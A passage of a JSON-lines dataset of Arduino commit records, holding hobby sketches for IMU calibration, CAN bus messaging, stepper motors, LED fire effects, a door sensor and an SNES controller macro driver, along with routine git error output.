accel_t_gyro.value.x_gyro;\n y_gyro += accel_t_gyro.value.y_gyro;\n z_gyro += accel_t_gyro.value.z_gyro;\n delay(100);\n }\n x_accel \/= num_readings;\n y_accel \/= num_readings;\n z_accel \/= num_readings;\n x_gyro \/= num_readings;\n y_gyro \/= num_readings;\n z_gyro \/= num_readings;\n \n \/\/ Store the raw calibration values globally\n base_x_accel[3] = x_accel;\n base_y_accel[3] = y_accel;\n base_z_accel[3] = z_accel;\n base_x_gyro[3] = x_gyro;\n base_y_gyro[3] = y_gyro;\n base_z_gyro[3] = z_gyro;\n}\nvoid calibrate_sensor5()\n{\n int num_readings = 10;\n float x_accel = 0;\n float y_accel = 0;\n float z_accel = 0;\n float x_gyro = 0;\n float y_gyro = 0;\n float z_gyro = 0;\n accel_t_gyro_union accel_t_gyro;\n\nfor(int j=6;j<=9;j++)\n {\n \n pinMode(j,OUTPUT);\n digitalWrite(j,LOW);\n \n } \n pinMode(12,OUTPUT);\n digitalWrite(12,HIGH);\n \/\/Serial.println(\"Starting Calibration\");\n\n \/\/ Discard the first set of values read from the IMU\n read_gyro_accel_vals((uint8_t *) &accel_t_gyro);\n \n \/\/ Read and average the raw values from the IMU\n for (int i = 0; i < num_readings; i++) {\n read_gyro_accel_vals((uint8_t *) &accel_t_gyro);\n x_accel += accel_t_gyro.value.x_accel;\n y_accel += accel_t_gyro.value.y_accel;\n z_accel += accel_t_gyro.value.z_accel;\n x_gyro += accel_t_gyro.value.x_gyro;\n y_gyro += accel_t_gyro.value.y_gyro;\n z_gyro += accel_t_gyro.value.z_gyro;\n delay(100);\n }\n x_accel \/= num_readings;\n y_accel \/= num_readings;\n z_accel \/= num_readings;\n x_gyro \/= num_readings;\n y_gyro \/= num_readings;\n z_gyro \/= num_readings;\n \n \/\/ Store the raw calibration values globally\n base_x_accel[4] = x_accel;\n base_y_accel[4] = y_accel;\n base_z_accel[4] = z_accel;\n base_x_gyro[4] = x_gyro;\n base_y_gyro[4] = y_gyro;\n base_z_gyro[4] = z_gyro;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BitBangingMpu6050\/LeftHand.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3ee951db85c511aaca85119a3c7f567aec361e78","subject":"Cerveau: gyroscope - ajout du calcul des angles \u00e0 partir de l'acc\u00e9l\u00e9ration","message":"Cerveau: gyroscope - ajout du calcul des angles \u00e0 partir de l'acc\u00e9l\u00e9ration\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Cerveau\/Gyroscope\/Gyroscope\/Gyroscope\/Gyroscope.ino","new_file":"Module Cerveau\/Gyroscope\/Gyroscope\/Gyroscope\/Gyroscope.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Cerveau\/Gyroscope\/Gyroscope\/Gyroscope\/Gyroscope.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"384b23970270cf28a316944d9a64f3d497c0e46f","subject":"Initial Commit","message":"Initial Commit\n","repos":"wyattjoh\/Arduino_crypt","old_file":"Encrypt\/Encrypt.ino","new_file":"Encrypt\/Encrypt.ino","new_contents":"\nvoid setup()\n{\n \/\/ Ini ports\n \n Serial.begin(9600);\n Serial3.begin(9600);\n \n}\n\nint16_t key = 100;\n\nvoid loop()\n{\n \/\/ read from port 3\n if(Serial3.available())\n {\n int16_t inByte = Serial3.read();\n \n int16_t decByte = (inByte - key)%256;\n \n Serial.write(decByte);\n }\n \n \/\/ read from serial moniter\n if(Serial.available())\n {\n int16_t inByte = Serial.read();\n \n int16_t encByte = (inByte + key)%256;\n \n Serial3.write(encByte);\n }\n}\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"a827db4891ed8d89920e9474a2c33b4cfd3d8666","subject":"Add canbus FD send example","message":"Add canbus FD send example\n","repos":"Seeed-Studio\/CAN_BUS_Shield,Seeed-Studio\/CAN_BUS_Shield","old_file":"examples\/sendFD\/sendFD.ino","new_file":"examples\/sendFD\/sendFD.ino","new_contents":"\/\/ demo: CAN-BUS Shield, send data\n\/\/ loovee@seeed.cc\n\n\n#include <SPI.h>\n#include \"mcp2518fd_can.h\"\n\n\/*SAMD core*\/\n#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE\n #define SERIAL SerialUSB\n#else\n #define SERIAL Serial\n#endif\n\n\n#define CAN_2518FD\n\/\/ the cs pin of the version after v1.1 is default to D9\n\/\/ v0.9b and v1.0 is default D10\nconst int SPI_CS_PIN = BCM8;\n\n#ifdef CAN_2518FD\nmcp2518fd CAN(SPI_CS_PIN); \/\/ Set CS pin\n#endif\n\nvoid setup() {\n SERIAL.begin(115200);\n while(!Serial){};\n CAN.setMode(0);\n while (0 != CAN.begin((byte)CAN_500K_1M)) { \/\/ init can bus : baudrate = 500k \n SERIAL.println(\"CAN BUS Shield init fail\");\n SERIAL.println(\" Init CAN BUS Shield again\");\n delay(100);\n }\n byte mode = CAN.getMode();\n SERIAL.printf(\"CAN BUS get mode = %d\\n\\r\",mode);\n SERIAL.println(\"CAN BUS Shield init ok!\");\n}\n\nunsigned char stmp[64] = {0};\nvoid loop() {\n \/\/ send data: id = 0x00, standrad frame, data len = 8, stmp: data buf\n stmp[63] = stmp[63] + 1;\n if (stmp[63] == 100) {\n stmp[63] = 0;\n stmp[63] = stmp[63] + 1;\n\n if (stmp[6] == 100) {\n stmp[6] = 0;\n stmp[5] = stmp[6] + 1;\n }\n }\n\n CAN.sendMsgBuf(0x00, 0, 15, stmp);\n delay(100); \/\/ send data per 100ms\n SERIAL.println(\"CAN BUS sendMsgBuf ok!\");\n}\n\n\/\/ END FILE\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/sendFD\/sendFD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"70e398500eb91d54fa06d0c99535bacce3f0f010","subject":"add arduino program","message":"add arduino program\n","repos":"bloc11\/authsys-common,bloc11\/authsys-common","old_file":"misc\/mfrc522.ino","new_file":"misc\/mfrc522.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bloc11\/authsys-common.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2f0b7c42966481818e038d4a1c186fececb2e53a","subject":"Added TwoMotor example","message":"Added TwoMotor example\n\nSimple example that oscillates two motors with acceleration.\n","repos":"risitt\/kissStepper","old_file":"examples\/TwoMotor\/TwoMotor.ino","new_file":"examples\/TwoMotor\/TwoMotor.ino","new_contents":"\/*\n\nControls two motors.\nDeveloped with two Easy Drivers and a Teensy 3.1.\nShould be compatible with many other devices with minor changes to pinout and microstep select pins.\n\nWritten by Rylee Isitt\nNovember 2018\n\nThis software is licensed under the GPL v3\n\n*\/\n\n\/\/ pinout for motor controller A\nstatic const uint8_t A_PIN_MS1 = 5;\nstatic const uint8_t A_PIN_MS2 = 6;\nstatic const uint8_t A_PIN_DIR = 3;\nstatic const uint8_t A_PIN_STEP = 4;\nstatic const uint8_t A_PIN_ENABLE = 7;\n\n\/\/ pinout for motor controller B\nstatic const uint8_t B_PIN_MS1 = 20;\nstatic const uint8_t B_PIN_MS2 = 19;\nstatic const uint8_t B_PIN_DIR = 22;\nstatic const uint8_t B_PIN_STEP = 21;\nstatic const uint8_t B_PIN_ENABLE = 18;\n\n\/\/ drive mode and steps per revolution\nstatic const uint8_t DRIVE_MODE = 8; \/\/ drive mode (number of microsteps taken, eg 1\/8th stepping = 8)\nstatic const uint16_t REVOLUTION_FULL_STEPS = 200; \/\/ number of full steps in one revolution of the test motor (see your motor's specs\/datasheet)\nstatic const uint32_t REVOLUTION_PULSES = REVOLUTION_FULL_STEPS * DRIVE_MODE; \/\/ number of microsteps in one revolution of the test motor\n\n#include <kissStepper.h>\n\/\/ instantiate the kissStepper class for an Easy Driver\nkissStepper motorA(A_PIN_DIR, A_PIN_STEP, A_PIN_ENABLE);\nkissStepper motorB(B_PIN_DIR, B_PIN_STEP, B_PIN_ENABLE);\n\n\/\/ ----------------------------------------------------------------------------------------------------\n\/\/ ----------------------------------------------------------------------------------------------------\n\nvoid loop(void)\n{\n motorA.prepareMove(REVOLUTION_PULSES);\n motorB.prepareMove(REVOLUTION_PULSES*-1);\n \n bool bothStopped = false;\n while (!bothStopped)\n {\n kissState_t stateA = motorA.move();\n kissState_t stateB = motorB.move();\n if ((stateA == STATE_STOPPED) && (stateB == STATE_STOPPED)) bothStopped = true;\n }\n \n motorA.prepareMove(0);\n motorB.prepareMove(0);\n \n bothStopped = false;\n while (!bothStopped)\n {\n kissState_t stateA = motorA.move();\n kissState_t stateB = motorB.move();\n if ((stateA == STATE_STOPPED) && (stateB == STATE_STOPPED)) bothStopped = true;\n }\n \n}\n\n\/\/ ----------------------------------------------------------------------------------------------------\n\/\/ ----------------------------------------------------------------------------------------------------\n\nvoid setup(void)\n{\n \/\/ initialize the kissStepper classes\n motorA.begin();\n motorB.begin();\n\n \/\/ set drive mode pins\n \/\/ the kissStepper library does not do this for you!\n pinMode(A_PIN_MS1, OUTPUT);\n pinMode(A_PIN_MS2, OUTPUT);\n pinMode(B_PIN_MS1, OUTPUT);\n pinMode(B_PIN_MS2, OUTPUT);\n switch (DRIVE_MODE)\n {\n case 2: \/\/ half-step\n digitalWrite(A_PIN_MS1, HIGH);\n digitalWrite(A_PIN_MS2, LOW);\n digitalWrite(B_PIN_MS1, HIGH);\n digitalWrite(B_PIN_MS2, LOW);\n break;\n case 4: \/\/ quarter-step\n digitalWrite(A_PIN_MS1, LOW);\n digitalWrite(A_PIN_MS2, HIGH);\n digitalWrite(B_PIN_MS1, LOW);\n digitalWrite(B_PIN_MS2, HIGH);\n break;\n case 8: \/\/ eighth-step\n digitalWrite(A_PIN_MS1, HIGH);\n digitalWrite(A_PIN_MS2, HIGH);\n digitalWrite(B_PIN_MS1, HIGH);\n digitalWrite(B_PIN_MS2, HIGH);\n break;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/TwoMotor\/TwoMotor.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"0fe50ae10a6f57a2e2995e261fa8fb1ac39fe94a","subject":"Added files via upload","message":"Added files via upload","repos":"TraviOso\/GPS1","old_file":"firmware\/Fire2012WithPalette.ino","new_file":"firmware\/Fire2012WithPalette.ino","new_contents":"#include \"FastLED\/FastLED.h\"\nFASTLED_USING_NAMESPACE;\n\n#define LED_PIN 5\n#define COLOR_ORDER GRB\n#define CHIPSET WS2811\n#define NUM_LEDS 30\n\n#define BRIGHTNESS 200\n#define FRAMES_PER_SECOND 60\n\nCRGB leds[NUM_LEDS];\n\n\/\/ Fire2012 with programmable Color Palette\n\/\/\n\/\/ This code is the same fire simulation as the original \"Fire2012\",\n\/\/ but each heat cell's temperature is translated to color through a FastLED\n\/\/ programmable color palette, instead of through the \"HeatColor(...)\" function.\n\/\/\n\/\/ Four different static color palettes are provided here, plus one dynamic one.\n\/\/ \n\/\/ The three static ones are: \n\/\/ 1. the FastLED built-in HeatColors_p -- this is the default, and it looks\n\/\/ pretty much exactly like the original Fire2012.\n\/\/\n\/\/ To use any of the other palettes below, just \"uncomment\" the corresponding code.\n\/\/\n\/\/ 2. a gradient from black to red to yellow to white, which is\n\/\/ visually similar to the HeatColors_p, and helps to illustrate\n\/\/ what the 'heat colors' palette is actually doing,\n\/\/ 3. a similar gradient, but in blue colors rather than red ones,\n\/\/ i.e. from black to blue to aqua to white, which results in\n\/\/ an \"icy blue\" fire effect,\n\/\/ 4. a simplified three-step gradient, from black to red to white, just to show\n\/\/ that these gradients need not have four components; two or\n\/\/ three are possible, too, even if they don't look quite as nice for fire.\n\/\/\n\/\/ The dynamic palette shows how you can change the basic 'hue' of the\n\/\/ color palette every time through the loop, producing \"rainbow fire\".\n\nCRGBPalette16 gPal;\n\nvoid setup() {\n delay(3000); \/\/ sanity delay\n FastLED.addLeds<CHIPSET, LED_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection( TypicalLEDStrip );\n FastLED.setBrightness( BRIGHTNESS );\n\n \/\/ This first palette is the basic 'black body radiation' colors,\n \/\/ which run from black to red to bright yellow to white.\n gPal = HeatColors_p;\n \n \/\/ These are other ways to set up the color palette for the 'fire'.\n \/\/ First, a gradient from black to red to yellow to white -- similar to HeatColors_p\n \/\/ gPal = CRGBPalette16( CRGB::Black, CRGB::Red, CRGB::Yellow, CRGB::White);\n \n \/\/ Second, this palette is like the heat colors, but blue\/aqua instead of red\/yellow\n \/\/ gPal = CRGBPalette16( CRGB::Black, CRGB::Blue, CRGB::Aqua, CRGB::White);\n \n \/\/ Third, here's a simpler, three-step gradient, from black to red to white\n \/\/ gPal = CRGBPalette16( CRGB::Black, CRGB::Red, CRGB::White);\n\n}\n\nvoid loop()\n{\n \/\/ Add entropy to random number generator; we use a lot of it.\n random16_add_entropy( random());\n\n \/\/ Fourth, the most sophisticated: this one sets up a new palette every\n \/\/ time through the loop, based on a hue that changes every time.\n \/\/ The palette is a gradient from black, to a dark color based on the hue,\n \/\/ to a light color based on the hue, to white.\n \/\/\n \/\/ static uint8_t hue = 0;\n \/\/ hue++;\n \/\/ CRGB darkcolor = CHSV(hue,255,192); \/\/ pure hue, three-quarters brightness\n \/\/ CRGB lightcolor = CHSV(hue,128,255); \/\/ half 'whitened', full brightness\n \/\/ gPal = CRGBPalette16( CRGB::Black, darkcolor, lightcolor, CRGB::White);\n\n\n Fire2012WithPalette(); \/\/ run simulation frame, using palette colors\n \n FastLED.show(); \/\/ display this frame\n FastLED.delay(1000 \/ FRAMES_PER_SECOND);\n}\n\n\n\/\/ Fire2012 by Mark Kriegsman, July 2012\n\/\/ as part of \"Five Elements\" shown here: http:\/\/youtu.be\/knWiGsmgycY\n\/\/\/\/ \n\/\/ This basic one-dimensional 'fire' simulation works roughly as follows:\n\/\/ There's a underlying array of 'heat' cells, that model the temperature\n\/\/ at each point along the line. Every cycle through the simulation, \n\/\/ four steps are performed:\n\/\/ 1) All cells cool down a little bit, losing heat to the air\n\/\/ 2) The heat from each cell drifts 'up' and diffuses a little\n\/\/ 3) Sometimes randomly new 'sparks' of heat are added at the bottom\n\/\/ 4) The heat from each cell is rendered as a color into the leds array\n\/\/ The heat-to-color mapping uses a black-body radiation approximation.\n\/\/\n\/\/ Temperature is in arbitrary units from 0 (cold black) to 255 (white hot).\n\/\/\n\/\/ This simulation scales it self a bit depending on NUM_LEDS; it should look\n\/\/ \"OK\" on anywhere from 20 to 100 LEDs without too much tweaking. \n\/\/\n\/\/ I recommend running this simulation at anywhere from 30-100 frames per second,\n\/\/ meaning an interframe delay of about 10-35 milliseconds.\n\/\/\n\/\/ Looks best on a high-density LED setup (60+ pixels\/meter).\n\/\/\n\/\/\n\/\/ There are two main parameters you can play with to control the look and\n\/\/ feel of your fire: COOLING (used in step 1 above), and SPARKING (used\n\/\/ in step 3 above).\n\/\/\n\/\/ COOLING: How much does the air cool as it rises?\n\/\/ Less cooling = taller flames. More cooling = shorter flames.\n\/\/ Default 55, suggested range 20-100 \n#define COOLING 55\n\n\/\/ SPARKING: What chance (out of 255) is there that a new spark will be lit?\n\/\/ Higher chance = more roaring fire. Lower chance = more flickery fire.\n\/\/ Default 120, suggested range 50-200.\n#define SPARKING 120\n\n\nvoid Fire2012WithPalette()\n{\n\/\/ Array of temperature readings at each simulation cell\n static byte heat[NUM_LEDS];\n\n \/\/ Step 1. Cool down every cell a little\n for( int i = 0; i < NUM_LEDS; i++) {\n heat[i] = qsub8( heat[i], random8(0, ((COOLING * 10) \/ NUM_LEDS) + 2));\n }\n \n \/\/ Step 2. Heat from each cell drifts 'up' and diffuses a little\n for( int k= NUM_LEDS - 1; k >= 2; k--) {\n heat[k] = (heat[k - 1] + heat[k - 2] + heat[k - 2] ) \/ 3;\n }\n \n \/\/ Step 3. Randomly ignite new 'sparks' of heat near the bottom\n if( random8() < SPARKING ) {\n int y = random8(7);\n heat[y] = qadd8( heat[y], random8(160,255) );\n }\n\n \/\/ Step 4. Map from heat cells to LED colors\n for( int j = 0; j < NUM_LEDS; j++) {\n \/\/ Scale the heat value from 0-255 down to 0-240\n \/\/ for best results with color palettes.\n byte colorindex = scale8( heat[j], 240);\n leds[j] = ColorFromPalette( gPal, colorindex);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/Fire2012WithPalette.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"90b9a4b8ac57f2a4fbecc87a408985f5d1edf973","subject":"adding files","message":"adding files\n","repos":"berkley\/spark,berkley\/spark,berkley\/spark,berkley\/spark","old_file":"firmware\/security\/security.ino","new_file":"firmware\/security\/security.ino","new_contents":"int boardLed = D7;\nint basementDoorPin = D0;\n\nint basementDoorValue = 0;\n\nvoid setup()\n{\n pinMode(basementDoorPin, INPUT_PULLDOWN);\n pinMode(boardLed, OUTPUT);\n Spark.variable(\"basementDoorValue\", &basementDoorValue, INT);\n}\n\nvoid loop()\n{\n if(digitalRead(basementDoorPin) == HIGH)\n {\n if(basementDoorValue == 0)\n {\n Spark.publish(\"basementDoor\",\"closed\", 60, PRIVATE);\n basementDoorValue = 1; \/\/door is closed\n digitalWrite(boardLed, LOW);\n }\n }\n else\n {\n if(basementDoorValue == 1)\n {\n Spark.publish(\"basementDoor\",\"open\", 60, PRIVATE);\n basementDoorValue = 0; \/\/door is open\n digitalWrite(boardLed, HIGH);\n }\n }\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/security\/security.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8df0a6642e9d1a51e9e32f83182d80ec9fe62429","subject":"Add SNES controller with Macro support","message":"Add SNES controller with Macro support","repos":"WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff","old_file":"snes_controller_v2\/snes_controller_v2.ino","new_file":"snes_controller_v2\/snes_controller_v2.ino","new_contents":"\/\/ This project uses 4 8-bit shift register, such as 74HC595 or HCF4094, in cascading format\r\n\/*\r\n SNES Controller v1.0 for Arduino UNO by WhatAboutGaming\r\n For use in the Twitch.TV stream TwitchTriesToPlay.\r\n https:\/\/www.twitch.tv\/twitchtriestoplay\r\n https:\/\/github.com\/WhatAboutGaming\/Twitch-Plays-Stuff\r\n\r\n Reference:\r\n https:\/\/github.com\/marcosassis\/gamepaduino\/wiki\/SNES-controller-interface\r\n https:\/\/www.repairfaq.org\/REPAIR\/F_SNES.html\r\n*\/\r\n\r\n#define latchPin 2 \/\/ HCF4094\/74HC595 Latch\/Strobe Input\r\n#define dataPin 3 \/\/ HCF4094\/74HC595 Data Input\r\n#define clockPin 4 \/\/ HCF4094\/74HC595 Clock Input\r\n\r\n#define buttonB 0 \/\/ Left 3\r\n#define buttonY 1 \/\/ Left 4\r\n#define buttonSelect 2 \/\/ Left 5\r\n#define buttonStart 3 \/\/ Left 6\r\n\r\n#define buttonUp 4 \/\/ Left 7\r\n#define buttonDown 5 \/\/ Left 8\r\n#define buttonLeft A0 \/\/ Left 9\r\n#define buttonRight 7 \/\/ Left 10\r\n\r\n#define buttonA 8 \/\/ Left 11\r\n#define buttonX 9 \/\/ Left 12\r\n\r\n#define buttonLHalf 10 \/\/ Left 13\r\n#define buttonLFull 11 \/\/ Left 13\r\n#define buttonRHalf 12 \/\/ Left 14\r\n#define buttonRFull 13 \/\/ Left 14\r\n\r\n#define startingMacroIndex 0x40\r\n#define endingMacroIndex 0x80\r\n\r\nunsigned int macroIndex = 0;\r\nunsigned int currentMacroIndexRunning = 0;\r\nunsigned int macroInputsToRun = 0;\r\nunsigned int loopMacro = 0; \/\/0 = Don't loop, 1 = loop\r\nunsigned int timesToLoop = 0; \/\/0 = Loop indefinitely, >0 = loop n times\r\nunsigned int loopCounter = 0;\r\n\r\nbool defaultStatus[] = {LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW};\r\nbool inputStatus[] = {LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW};\r\nunsigned int commandArray[] = {buttonB, buttonY, buttonSelect, buttonStart, buttonUp, buttonDown, buttonLeft, buttonRight, buttonA, buttonX, buttonLHalf, buttonLFull, buttonRHalf, buttonRFull, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31};\r\n\r\nboolean isInputting = false;\r\nboolean isInputtingDelayed = false;\r\n\r\nunsigned long inputDelay = 0;\r\nunsigned long previousInputDelay = 0;\r\nunsigned long currentMillis = 0;\r\n\r\nunsigned long baudRate = 2000000;\r\n\r\nbyte serial_rx_buffer[12];\r\nbyte current_macro_input[12];\r\nbyte macro_buffer[64][12];\r\nunsigned long controller = 0;\r\n\r\nvoid setup()\r\n{\r\n Serial.begin(baudRate);\r\n\r\n pinMode(latchPin, OUTPUT);\r\n pinMode(dataPin, OUTPUT);\r\n pinMode(clockPin, OUTPUT);\r\n pinMode(buttonLeft, OUTPUT);\r\n\r\n digitalWrite(latchPin, LOW);\r\n for (int i = 31; i >= 0; i--)\r\n {\r\n digitalWrite(clockPin, LOW);\r\n digitalWrite(dataPin, !defaultStatus[i]);\r\n digitalWrite(buttonLeft, !defaultStatus[1]);\r\n digitalWrite(clockPin, HIGH);\r\n }\r\n digitalWrite(latchPin, HIGH);\r\n\r\n \/\/ Reset everything\r\n serial_rx_buffer[0] = 0x00;\r\n serial_rx_buffer[1] = 0x00;\r\n serial_rx_buffer[2] = 0x00;\r\n serial_rx_buffer[3] = 0x00;\r\n serial_rx_buffer[4] = 0x00;\r\n serial_rx_buffer[5] = 0x00;\r\n serial_rx_buffer[6] = 0x00;\r\n serial_rx_buffer[7] = 0x00;\r\n serial_rx_buffer[8] = 0x00;\r\n serial_rx_buffer[9] = 0x00;\r\n serial_rx_buffer[10] = 0x00;\r\n serial_rx_buffer[11] = 0x00;\r\n \r\n current_macro_input[0] = 0x00;\r\n current_macro_input[1] = 0x00;\r\n current_macro_input[2] = 0x00;\r\n current_macro_input[3] = 0x00;\r\n current_macro_input[4] = 0x00;\r\n current_macro_input[5] = 0x00;\r\n current_macro_input[6] = 0x00;\r\n current_macro_input[7] = 0x00;\r\n current_macro_input[8] = 0x00;\r\n current_macro_input[9] = 0x00;\r\n current_macro_input[10] = 0x00;\r\n current_macro_input[11] = 0x00;\r\n}\r\n\r\nvoid loop()\r\n{\r\n currentMillis = millis();\r\n if (Serial.available() > 0)\r\n {\r\n controller = Serial.readBytes(serial_rx_buffer, sizeof(serial_rx_buffer)) && 0xFF;\r\n\r\n \/\/ Set Start Byte (Preamble Byte) and End Byte (Postamble Byte)\r\n \/\/ 1 == 0x01\r\n if ((serial_rx_buffer[0] == 0x01) && (serial_rx_buffer[11] == 0x01))\r\n {\r\n for (unsigned int currentInputIndex = 0; currentInputIndex < sizeof(serial_rx_buffer); currentInputIndex++) {\r\n current_macro_input[currentInputIndex] = serial_rx_buffer[currentInputIndex];\r\n }\r\n \/\/ Make the button presses actually work\r\n macroIndex = 0;\r\n currentMacroIndexRunning = 0;\r\n macroInputsToRun = 0;\r\n loopMacro = 0;\r\n timesToLoop = 0;\r\n loopCounter = 0;\r\n isInputting = true;\r\n previousInputDelay = currentMillis;\r\n }\r\n if ((serial_rx_buffer[0] >= startingMacroIndex) && (serial_rx_buffer[11] >= startingMacroIndex))\r\n {\r\n if ((serial_rx_buffer[0] < endingMacroIndex) && (serial_rx_buffer[11] < endingMacroIndex))\r\n {\r\n if (serial_rx_buffer[0] == serial_rx_buffer[11]) {\r\n \/\/ Stop the current loop when we receive a new macro\r\n macroIndex = 0;\r\n currentMacroIndexRunning = 0;\r\n macroInputsToRun = 0;\r\n loopMacro = 0;\r\n timesToLoop = 0;\r\n loopCounter = 0;\r\n \/\/isInputting = false;\r\n macroIndex = serial_rx_buffer[0] - startingMacroIndex;\r\n \/*\r\n Serial.print(\"Received \");\r\n Serial.print(serial_rx_buffer[0]);\r\n\r\n Serial.print(\" macro index \");\r\n Serial.println(macroIndex);\r\n *\/\r\n for (unsigned int macroInputIndex = 0; macroInputIndex < sizeof(serial_rx_buffer); macroInputIndex++) {\r\n macro_buffer[macroIndex][macroInputIndex] = serial_rx_buffer[macroInputIndex];\r\n \/\/Serial.println(macro_buffer[macroIndex][macroInputIndex]);\r\n }\r\n }\r\n }\r\n }\r\n if ((serial_rx_buffer[0] == 0x80) && (serial_rx_buffer[11] == 0x80))\r\n {\r\n \/\/ Stop the current loop when we receive a new macro setter (The thing that tells how a macro should be executed, if it should loop, how many inputs it has to iterate through)\r\n macroIndex = 0;\r\n currentMacroIndexRunning = 0;\r\n macroInputsToRun = 0;\r\n loopMacro = 0;\r\n timesToLoop = 0;\r\n loopCounter = 0;\r\n isInputting = false;\r\n\r\n macroInputsToRun = serial_rx_buffer[1];\r\n loopMacro = serial_rx_buffer[2];\r\n currentMacroIndexRunning = serial_rx_buffer[3];\r\n timesToLoop = serial_rx_buffer[4];\r\n loopCounter = serial_rx_buffer[5];\r\n \/\/isInputting = true;\r\n \/\/previousInputDelay = currentMillis;\r\n }\r\n }\r\n runMacro();\r\n pressButtons();\r\n} \/\/ Close Loop Function\r\n\r\nvoid runMacro()\r\n{\r\n if (isInputting == false) {\r\n if (macroInputsToRun != 0) {\r\n if (macroInputsToRun > currentMacroIndexRunning)\r\n {\r\n if (loopCounter <= timesToLoop) {\r\n for (unsigned int currentInputIndex = 0; currentInputIndex < sizeof(serial_rx_buffer); currentInputIndex++) {\r\n current_macro_input[currentInputIndex] = macro_buffer[currentMacroIndexRunning][currentInputIndex];\r\n \/\/Serial.println(macro_buffer[currentMacroIndexRunning][currentInputIndex]);\r\n }\r\n \/\/ Make the button presses actually work\r\n isInputting = true;\r\n previousInputDelay = currentMillis;\r\n }\r\n }\r\n if (currentMacroIndexRunning < macroInputsToRun) {\r\n currentMacroIndexRunning++;\r\n }\r\n if (loopMacro != 0) {\r\n if (currentMacroIndexRunning >= macroInputsToRun) {\r\n currentMacroIndexRunning = 0;\r\n if (timesToLoop <= 0) {\r\n \/\/\r\n }\r\n if (timesToLoop > 0 && loopCounter <= timesToLoop) {\r\n \/\/Serial.print(loopCounter);\r\n \/\/Serial.print(\" \");\r\n loopCounter++;\r\n \/\/Serial.println(loopCounter);\r\n }\r\n }\r\n }\r\n }\r\n }\r\n}\r\n\r\nvoid pressButtons()\r\n{\r\n if (isInputtingDelayed == false)\r\n {\r\n \/\/ Define input delay (If Buffer Array Element 9 and 10 !=0)\r\n inputDelay = (unsigned long)current_macro_input[9] << 8 | (unsigned long)current_macro_input[10];\r\n }\r\n if (isInputting == true)\r\n {\r\n \/\/ Press Button\r\n\r\n \/\/ First 8 buttons, Buffer Array Element 1\r\n \/\/ B, Y, SELECT, START, UP, DOWN, LEFT, RIGHT\r\n inputStatus[4] = (current_macro_input[1] & B00000001); \/\/ B\r\n inputStatus[5] = (current_macro_input[1] & B00000010); \/\/ Y\r\n inputStatus[6] = (current_macro_input[1] & B00000100); \/\/ Select\r\n inputStatus[7] = (current_macro_input[1] & B00001000); \/\/ Start\r\n inputStatus[8] = (current_macro_input[1] & B00010000); \/\/ Up\r\n inputStatus[10] = (current_macro_input[1] & B00100000); \/\/ Down\r\n inputStatus[1] = (current_macro_input[1] & B01000000); \/\/ Left\r\n inputStatus[0] = (current_macro_input[1] & B10000000); \/\/ Right\r\n\r\n \/\/ Second 4 buttons, Buffer Array Element 2\r\n \/\/ A, X, L, R, N\/A, N\/A, N\/A, N\/A\r\n inputStatus[24] = (current_macro_input[2] & B00000001); \/\/ A\r\n inputStatus[3] = (current_macro_input[2] & B00000010); \/\/ X\r\n\r\n \/\/ Because the L and R buttons are connected to a board where\r\n \/\/ it outputs pseudo-analog levels, we have to set 2 bits low\r\n \/\/ or high to be able to actually press the buttons\r\n inputStatus[20] = (current_macro_input[2] & B00000100); \/\/ L\r\n inputStatus[21] = (current_macro_input[2] & B00000100); \/\/ L\r\n inputStatus[22] = (current_macro_input[2] & B00001000); \/\/ R\r\n inputStatus[23] = (current_macro_input[2] & B00001000); \/\/ R\r\n\r\n digitalWrite(latchPin, LOW);\r\n for (int i = 31; i >= 0; i--)\r\n {\r\n digitalWrite(clockPin, LOW);\r\n digitalWrite(dataPin, !inputStatus[i]);\r\n digitalWrite(buttonLeft, !inputStatus[1]); \/\/ This is the Left Dpad button, which isn't on the shift registers, it's on the output A0\r\n digitalWrite(clockPin, HIGH);\r\n }\r\n digitalWrite(latchPin, HIGH);\r\n\r\n \/\/ Buffer Array Elements 9 and 10 are used to tell the Arduino how long commands are executed, on a delay ranging from 1-65535ms\r\n if (inputDelay != 0)\r\n {\r\n isInputtingDelayed = true;\r\n \/\/ The block below executes Soft Delay for holding the buttons 